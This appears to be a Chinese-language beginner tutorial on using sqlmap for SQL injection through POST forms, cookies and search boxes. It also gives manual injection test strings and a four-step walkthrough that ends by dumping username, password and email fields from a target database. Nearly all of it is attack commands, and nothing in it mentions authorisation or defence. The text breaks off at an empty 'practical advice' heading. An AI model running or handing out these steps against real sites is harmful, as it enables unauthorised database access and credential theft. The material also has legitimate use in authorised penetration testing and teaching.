(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]
1. Sqlmap 之 Post 注入
Post 注入适用于表单提交(如登录页、数据提交页)等场景,核心是通过抓取 Post 请求数据进行注入测试,以下为 4 种常用方法:
方法一:基于请求文件(-r 参数)
# 基础用法(请求文件与sqlmap同目录)
sqlmap.py -r test.txt -p "post参数名" --dbs
# 完整路径用法(请求文件不在同目录)
sqlmap.py -r D:\\test.txt -p "post参数名" --dbs
参数解释:
-r test.txt:加载抓取的 Post 请求数据包(需将抓包内容保存为 test.txt);
-p "参数名":指定注入参数,提高测试精准度;
--dbs:若存在注入,返回目标数据库列表。
方法二:直接指定 URL 与 Post 数据(--data 参数)
sqlmap.py -u "目标URL(多为后台地址)" --data="Post包最后一行内容" -p "指定Post参数名"
方法三:针对带参数 URL 的 Post 注入
假设目标 URL:https://www.,测试 Post 注入:
sqlmap.py -u "https://www.127.0.0.1/base64" --data="id=10" -f --banner --dbs
参数补充:-f(指纹识别)、--banner(获取数据库版本等 banner 信息)。
方法四:自动表单注入(--forms 参数)
适用于后台登录页等表单场景,自动识别表单并测试注入:
sqlmap.py -u "http://xxxxxx.com/login.asp" --forms
2. Sqlmap 之 Cookie 注入
Cookie 注入针对依赖 Cookie 验证的页面,需通过--level参数或直接指定 Cookie 触发测试:
方法一:基于探测等级(--level 参数)
假设目标 URL:https://www.,测试 Cookie 注入:
sqlmap.py -u "https://www.127.0.0.1/base32" --data="id=10" --dbs --level 2
关键说明:--level 2(及以上)时,sqlmap 会自动尝试 Cookie 参数注入。
方法二:直接指定 Cookie(--cookie 参数)
# 基础用法
sqlmap.py -u "目标URL" --cookie="抓取的Cookie内容"
# 结合探测等级(可选)
sqlmap.py -u "目标URL" --cookie="抓取的Cookie内容" --level 2
3. Sqlmap 之搜索框注入
搜索框注入与 Post 注入逻辑类似,核心是定位搜索框对应的 Post 参数:
方法一:指定搜索框参数注入
sqlmap.py -u "http://xxxxxx.com/search.php" --data="搜索框抓包信息" -p "搜索框参数名"
搜索框注入手工判断(辅助验证)
正常返回:' and 1=1 and '%'='(返回所有搜索结果);
无返回:' and 1=2 and '%'='(无搜索结果);
MSSQL 数据库验证:' and exists (select * from sysobjects) and '%'='(返回正常则存在注入)。
实例参考(补天提交的搜索框注入)
**
补充:MSSQL 系统对象表参考
**
二、实战流程:sqlmap 注入 + Dump 账号密码(四步走)
以某注入点为例,完整获取账号密码的操作步骤:
步骤 1:判断注入点
sqlmap.py -u "存在注入的URL"
步骤 2:获取数据库列表
sqlmap.py -u "存在注入的URL" --dbs
步骤 3:定位目标数据库与表
# 查看当前使用的数据库
sqlmap.py -u "存在注入的URL" --current-db
# 列出指定数据库的所有表(-D指定数据库名)
sqlmap.py -u "存在注入的URL" -D "当前数据库名" --tables
# 列出指定表的字段(-T指定表名)
sqlmap.py -u "存在注入的URL" -D "当前数据库名" -T "目标表名" --columns
步骤 4:Dump 敏感字段(账号、密码等)
# -C指定敏感字段(如username、password、email),--dump导出数据
sqlmap.py -u "存在注入的URL" -D "当前数据库名" -T "目标表名" -C "username,password,email" --dump
三、核心总结
注入逻辑通用:无论 Post、Cookie 还是搜索框注入,核心流程均为 “判断注入点→获取数据库→定位表字段→Dump 敏感数据”,仅需根据场景调整参数;
参数优先级:-r(请求文件)、--data(Post 数据)、--cookie(Cookie 内容)用于定位注入载体,-p(指定参数)、--level(探测等级)用于提高测试精准度;
实战建议